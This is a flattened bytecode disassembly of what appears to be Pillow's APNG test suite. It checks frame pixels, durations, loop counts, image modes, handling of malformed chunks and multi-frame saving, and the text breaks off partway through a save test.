LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/blend_transparency.png' CALL_METHOD SETUP_WITH to 44 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_CONST 1 CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (255, 0, 0) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/fctl_actl.png' CALL_METHOD SETUP_WITH to 68 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 1 BINARY_SUBTRACT CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/delay.png' CALL_METHOD SETUP_WITH to 136 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_CONST 1 CALL_METHOD POP_TOP LOAD_FAST im LOAD_ATTR info LOAD_METHOD get LOAD_CONST 'duration' CALL_METHOD LOAD_CONST 500.0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD seek LOAD_CONST 2 CALL_METHOD POP_TOP LOAD_FAST im LOAD_ATTR info LOAD_METHOD get LOAD_CONST 'duration' CALL_METHOD LOAD_CONST 1000.0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD seek LOAD_CONST 3 CALL_METHOD POP_TOP LOAD_FAST im LOAD_ATTR info LOAD_METHOD get LOAD_CONST 'duration' CALL_METHOD LOAD_CONST 500.0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD seek LOAD_CONST 4 CALL_METHOD POP_TOP LOAD_FAST im LOAD_ATTR info LOAD_METHOD get LOAD_CONST 'duration' CALL_METHOD LOAD_CONST 1000.0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/delay_round.png' CALL_METHOD SETUP_WITH to 218 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_CONST 1 CALL_METHOD POP_TOP LOAD_FAST im LOAD_ATTR info LOAD_METHOD get LOAD_CONST 'duration' CALL_METHOD LOAD_CONST 500.0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD seek LOAD_CONST 2 CALL_METHOD POP_TOP LOAD_FAST im LOAD_ATTR info LOAD_METHOD get LOAD_CONST 'duration' CALL_METHOD LOAD_CONST 1000.0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/delay_short_max.png' CALL_METHOD SETUP_WITH to 304 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_CONST 1 CALL_METHOD POP_TOP LOAD_FAST im LOAD_ATTR info LOAD_METHOD get LOAD_CONST 'duration' CALL_METHOD LOAD_CONST 500.0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD seek LOAD_CONST 2 CALL_METHOD POP_TOP LOAD_FAST im LOAD_ATTR info LOAD_METHOD get LOAD_CONST 'duration' CALL_METHOD LOAD_CONST 1000.0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/delay_zero_denom.png' CALL_METHOD SETUP_WITH to 390 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_CONST 1 CALL_METHOD POP_TOP LOAD_FAST im LOAD_ATTR info LOAD_METHOD get LOAD_CONST 'duration' CALL_METHOD LOAD_CONST 500.0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD seek LOAD_CONST 2 CALL_METHOD POP_TOP LOAD_FAST im LOAD_ATTR info LOAD_METHOD get LOAD_CONST 'duration' CALL_METHOD LOAD_CONST 1000.0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/delay_zero_numer.png' CALL_METHOD SETUP_WITH to 540 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_CONST 1 CALL_METHOD POP_TOP LOAD_FAST im LOAD_ATTR info LOAD_METHOD get LOAD_CONST 'duration' CALL_METHOD LOAD_CONST 0.0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD seek LOAD_CONST 2 CALL_METHOD POP_TOP LOAD_FAST im LOAD_ATTR info LOAD_METHOD get LOAD_CONST 'duration' CALL_METHOD LOAD_CONST 0.0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD seek LOAD_CONST 3 CALL_METHOD POP_TOP LOAD_FAST im LOAD_ATTR info LOAD_METHOD get LOAD_CONST 'duration' CALL_METHOD LOAD_CONST 500.0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD seek LOAD_CONST 4 CALL_METHOD POP_TOP LOAD_FAST im LOAD_ATTR info LOAD_METHOD get LOAD_CONST 'duration' CALL_METHOD LOAD_CONST 1000.0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/num_plays.png' CALL_METHOD SETUP_WITH to 36 STORE_FAST im LOAD_FAST im LOAD_ATTR info LOAD_METHOD get LOAD_CONST 'loop' CALL_METHOD LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/num_plays_1.png' CALL_METHOD SETUP_WITH to 78 STORE_FAST im LOAD_FAST im LOAD_ATTR info LOAD_METHOD get LOAD_CONST 'loop' CALL_METHOD LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/mode_16bit.png' CALL_METHOD SETUP_WITH to 82 STORE_FAST im LOAD_FAST im LOAD_ATTR mode LOAD_CONST 'RGBA' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD seek LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 1 BINARY_SUBTRACT CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 0, 128, 191) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 0, 128, 191) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/mode_grayscale.png' CALL_METHOD SETUP_WITH to 170 STORE_FAST im LOAD_FAST im LOAD_ATTR mode LOAD_CONST 'L' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD seek LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 1 BINARY_SUBTRACT CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST 128 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST 255 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/mode_grayscale_alpha.png' CALL_METHOD SETUP_WITH to 258 STORE_FAST im LOAD_FAST im LOAD_ATTR mode LOAD_CONST 'LA' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD seek LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 1 BINARY_SUBTRACT CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (128, 191) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (128, 191) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/mode_palette.png' CALL_METHOD SETUP_WITH to 362 STORE_FAST im LOAD_FAST im LOAD_ATTR mode LOAD_CONST 'P' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD seek LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 1 BINARY_SUBTRACT CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD convert LOAD_CONST 'RGB' CALL_METHOD STORE_FAST im LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 255, 0) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 255, 0) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/mode_palette_alpha.png' CALL_METHOD SETUP_WITH to 466 STORE_FAST im LOAD_FAST im LOAD_ATTR mode LOAD_CONST 'P' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD seek LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 1 BINARY_SUBTRACT CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD convert LOAD_CONST 'RGBA' CALL_METHOD STORE_FAST im LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (255, 0, 0, 0) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (255, 0, 0, 0) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/mode_palette_1bit_alpha.png' CALL_METHOD SETUP_WITH to 570 STORE_FAST im LOAD_FAST im LOAD_ATTR mode LOAD_CONST 'P' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD seek LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 1 BINARY_SUBTRACT CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD convert LOAD_CONST 'RGBA' CALL_METHOD STORE_FAST im LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 0, 255, 128) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 0, 255, 128) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/chunk_no_actl.png' CALL_METHOD SETUP_WITH to 26 STORE_FAST im LOAD_FAST im LOAD_ATTR is_animated POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL pytest LOAD_METHOD warns LOAD_GLOBAL UserWarning CALL_METHOD SETUP_WITH to 88 POP_TOP LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/chunk_multi_actl.png' CALL_METHOD SETUP_WITH to 68 STORE_FAST im LOAD_FAST im LOAD_METHOD load CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST im LOAD_ATTR is_animated POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/chunk_actl_after_idat.png' CALL_METHOD SETUP_WITH to 120 STORE_FAST im LOAD_FAST im LOAD_ATTR is_animated POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/chunk_no_fctl.png' CALL_METHOD SETUP_WITH to 180 STORE_FAST im LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL SyntaxError CALL_METHOD SETUP_WITH to 170 POP_TOP LOAD_FAST im LOAD_METHOD seek LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 1 BINARY_SUBTRACT CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/chunk_repeat_fctl.png' CALL_METHOD SETUP_WITH to 240 STORE_FAST im LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL SyntaxError CALL_METHOD SETUP_WITH to 230 POP_TOP LOAD_FAST im LOAD_METHOD seek LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 1 BINARY_SUBTRACT CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/chunk_no_fdat.png' CALL_METHOD SETUP_WITH to 300 STORE_FAST im LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL SyntaxError CALL_METHOD SETUP_WITH to 290 POP_TOP LOAD_FAST im LOAD_METHOD seek LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 1 BINARY_SUBTRACT CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pytest LOAD_METHOD warns LOAD_GLOBAL UserWarning CALL_METHOD SETUP_WITH to 78 POP_TOP LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/syntax_num_frames_zero.png' CALL_METHOD SETUP_WITH to 68 STORE_FAST im LOAD_FAST im LOAD_ATTR is_animated POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL OSError CALL_METHOD SETUP_WITH to 58 POP_TOP LOAD_FAST im LOAD_METHOD load CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL pytest LOAD_METHOD warns LOAD_GLOBAL UserWarning CALL_METHOD SETUP_WITH to 140 POP_TOP LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/syntax_num_frames_zero_default.png' CALL_METHOD SETUP_WITH to 130 STORE_FAST im LOAD_FAST im LOAD_ATTR is_animated POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD load CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None STORE_FAST exception LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/syntax_num_frames_low.png' CALL_METHOD SETUP_WITH to 238 STORE_FAST im SETUP_EXCEPT to 184 LOAD_FAST im LOAD_METHOD seek LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 1 BINARY_SUBTRACT CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 222 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 208 LOAD_FAST e STORE_FAST exception POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_FORWARD to 222 END_FINALLY LOAD_FAST exception LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL OSError CALL_METHOD SETUP_WITH to 306 POP_TOP LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/syntax_num_frames_high.png' CALL_METHOD SETUP_WITH to 296 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 1 BINARY_SUBTRACT CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD load CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL pytest LOAD_METHOD warns LOAD_GLOBAL UserWarning CALL_METHOD SETUP_WITH to 370 POP_TOP LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/syntax_num_frames_invalid.png' CALL_METHOD SETUP_WITH to 360 STORE_FAST im LOAD_FAST im LOAD_ATTR is_animated EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD load CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL SyntaxError CALL_METHOD SETUP_WITH to 68 POP_TOP LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/' LOAD_FAST test_file FORMAT_VALUE BUILD_STRING CALL_METHOD SETUP_WITH to 58 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 1 BINARY_SUBTRACT CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD load CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/single_frame.png' CALL_METHOD SETUP_WITH to 42 STORE_FAST im LOAD_GLOBAL str LOAD_FAST tmp_path LOAD_CONST 'temp.png' BINARY_TRUE_DIVIDE CALL_FUNCTION STORE_FAST test_file LOAD_FAST im LOAD_ATTR save LOAD_FAST test_file LOAD_CONST True LOAD_CONST ('save_all',) CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Image LOAD_METHOD open LOAD_FAST test_file CALL_METHOD SETUP_WITH to 168 STORE_FAST im LOAD_FAST im LOAD_METHOD load CALL_METHOD POP_TOP LOAD_FAST im LOAD_ATTR is_animated POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD get_format_mimetype CALL_METHOD LOAD_CONST 'image/png' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_ATTR info LOAD_METHOD get LOAD_CONST 'default_image' CALL_METHOD LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/single_frame_default.png' CALL_METHOD SETUP_WITH to 240 STORE_FAST im LOAD_CONST <code object <listcomp> at 0x7fab543e7db0, file "f.py", line 335> LOAD_CONST 'test_apng_save.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL ImageSequence LOAD_METHOD Iterator LOAD_FAST im CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST frames LOAD_FAST frames LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR save LOAD_FAST test_file LOAD_CONST True LOAD_CONST True LOAD_FAST frames LOAD_CONST 1 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR LOAD_CONST ('save_all', 'default_image', 'append_images') CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Image LOAD_METHOD open LOAD_FAST test_file CALL_METHOD SETUP_WITH to 384 STORE_FAST im LOAD_FAST im LOAD_METHOD load CALL_METHOD POP_TOP LOAD_FAST im LOAD_ATTR is_animated EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 2 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD get_format_mimetype CALL_METHOD LOAD_CONST 'image/apng' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_ATTR info LOAD_METHOD get LOAD_CONST 'default_image' CALL_METHOD EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD seek LOAD_CONST 1 CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST frame_im LOAD_FAST frame_im LOAD_METHOD copy CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL str LOAD_FAST tmp_path LOAD_CONST 'temp.png' BINARY_TRUE_DIVIDE CALL_FUNCTION STORE_FAST test_file LOAD_GLOBAL Image LOAD_METHOD new LOAD_CONST 'RGBA' LOAD_CONST (1, 1) LOAD_CONST (255, 0, 0, 255) CALL_METHOD STORE_FAST im LOAD_GLOBAL Image LOAD_METHOD new LOAD_CONST 'RGBA' LOAD_CONST (1, 1) LOAD_CONST (255, 0, 0, 127) CALL_METHOD STORE_FAST im2 LOAD_FAST im LOAD_ATTR save LOAD_FAST test_file LOAD_CONST True LOAD_FAST im2 BUILD_LIST LOAD_CONST ('save_all', 'append_images') CALL_FUNCTION POP_TOP LOAD_GLOBAL Image LOAD_METHOD open LOAD_FAST test_file CALL_METHOD SETUP_WITH to 120 STORE_FAST reloaded LOAD_FAST reloaded LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (255, 0, 0, 255) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST reloaded LOAD_METHOD seek LOAD_CONST 1 CALL_METHOD POP_TOP LOAD_FAST reloaded LOAD_METHOD getpixel LOAD_CONST (0, 0) 